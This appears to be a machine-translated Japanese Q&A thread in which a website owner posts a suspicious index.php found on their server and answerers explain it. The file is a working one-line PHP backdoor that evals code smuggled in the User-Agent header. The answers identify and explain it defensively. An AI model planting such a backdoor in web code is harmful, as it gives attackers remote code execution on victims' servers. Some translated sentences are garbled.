0

今朝、FTP に作成したファイルについて助けを求めて、今日あなたの助けを求めています。私はこれらすべての PHP 関数の専門家ではないので、ここに投稿します。

私が見つけたのは、サブイメージ フォルダーにあるindex.phpという名前のファイルでした。

生のコードがあります:

<?php

if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) { eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; }

?>

2 つの PHP 関数

関数eval()については、非常に危険であると彼らは言っています。

注意eval() 言語構造は、任意の PHP コードを実行できるため、非常に危険です。したがって、その使用はお勧めできません。この構文を使用する以外に選択肢がないことを慎重に確認した場合は、ユーザーが提供したデータを事前に適切に検証せずに渡さないように特に注意してください。

これが、誰かが私のウェブサイトをハッキングしようとしている可能性があると考える理由です。

これを解読して説明できる人はいますか?

どうも、

4

2 に答える 2

3

はい、これは単純な評価バックドアであり、誰かが後でいつでも戻ってきて、あなたのサーバーを悪意のあることのために使用できるようにインストールされています。

で始まるユーザー エージェント文字列Mozilla/5.0 (3.1.final)(これは実際のユーザー エージェント文字列ではありません) を受け入れ、残りの文字列を PHP コードとして扱い、eval呼び出しによって実行されます。

(奇妙な点は、ユーザー エージェントを使用したことです。そのフィールドは標準の Web ログに定期的に記録されるためです。POST フィールドまたは Cookie を使用すると、はるかに目立たなくなります。)

于 2014-10-30T14:38:34.203 に答える
2

最初から始めましょう。

  • eregiは、PHP 5.3.0 で廃止予定の関数です。
  • eregi大文字と小文字を区別しない正規表現です。

それで、それは何をしているのですか?

if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) {

が にある場合finalHTTP_USER_AGENT....

の「Mozilla/5.0 (3.1.final)」を [空白] に置き換えますHTTP_USER_AGENT。そして、スクリプトを殺します。

結論

サイトのデータを変更するという点では効果がありませんが、ユーザー エージェントfinalにその単語が含まれている人にとっては、サイトが「死んでいる」状態になります。これに関する情報源は見つかりませんが。

編集

eval不思議に思った。ここに置いていないことが明らかなので、evalコードを評価して実行します。これは攻撃の懸念事項です。誰かがあなたのサイトで実行するリモート コードを取得する唯一の方法は、ユーザー エージェントを「なりすまし」、そのフレーズMozilla/5.0 (3.1.final)の後に実行したいすべてのコードが含まれていることを確認することです。例えば;

ユーザー エージェントを偽装して、

Mozilla/5.0 (3.1.final)  echo 'Lol, you got hacked'

が実行されるため、str_replace画面は単語をレンダリングするだけです。もちろん、攻撃者はさらに有害なコマンドを実行して評価します。このコードをすぐに削除してくださいLol, you got hackedevalecho

于 2014-10-30T14:28:00.490 に答える